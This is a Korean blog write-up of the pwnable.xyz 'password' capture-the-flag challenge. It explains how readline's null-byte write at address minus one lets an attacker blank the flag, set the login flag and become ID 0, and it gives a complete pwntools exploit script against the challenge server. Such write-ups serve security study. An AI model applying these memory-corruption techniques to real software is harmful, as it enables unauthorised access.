
secure login이라고 플래그인 비밀번호를 알아내서 로그인을 해야 한다
4가지 기능이 주어진다
- enter password
- change password
- print password
- restore password and logout

패스워드를 바꾸거나 ID를 입력할 때 readline을 통해 데이터를 입력받게 되는데
이때 문자열 끝에 널 바이트를 넣어준다 ( \n을 제거 )

로그인을 했는지는 bss 영역에 있는 cred가 1인 경우로 이때 change password기능을 사용할 수 있다

ID가 0인 경우 root로 print password 기능을 통해 패스워드를 디코딩한 뒤 출력할 수 있다

그럼 처음에 널 바이트를 넣어서 패스워드를 읽어내면 끝 아닌가 싶은데 널 바이트를 넣는 경우 프로그램을 종료한다
readline에 널 바이트를 넣게 되면 입력한 주소의 -1에 0을 넣는데
처음에 ID를 입력할 때 1 문자만 넣게 되면 플래그 문자열의 첫 바이트를 널로 만들 수 있다
이후에 login 할 때 널 바이트를 넣어서 cred = 1이 되어 로그인을 한 뒤
change password도 똑같이 널 바이트를 넣어서 -1에 있는 ID가 0이 되도록 한 뒤 패스워드를 다시 갱신한 뒤 출력해줬다
from pwn import *
context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30026)
#p = process("./password")
def login(data):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Password: ")
p.send(data)
def enter_pass(data):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"New password: ")
p.send(data)
def print_pass():
p.recvuntil(b"> ")
p.sendline(b"3")
def restore_pass():
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"User ID: ")
p.sendline(b"1")
payload = b"\x00"
login(payload)
enter_pass(payload)
restore_pass()
print_pass()
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / executioner v2 (0) | 2022.05.23 |
---|---|
pwnable.xyz / badayum (0) | 2022.05.23 |
pwnable.xyz / executioner (0) | 2022.05.22 |
pwnable.xyz / Punch it (0) | 2022.05.22 |
pwnable.xyz / catalog (0) | 2022.05.21 |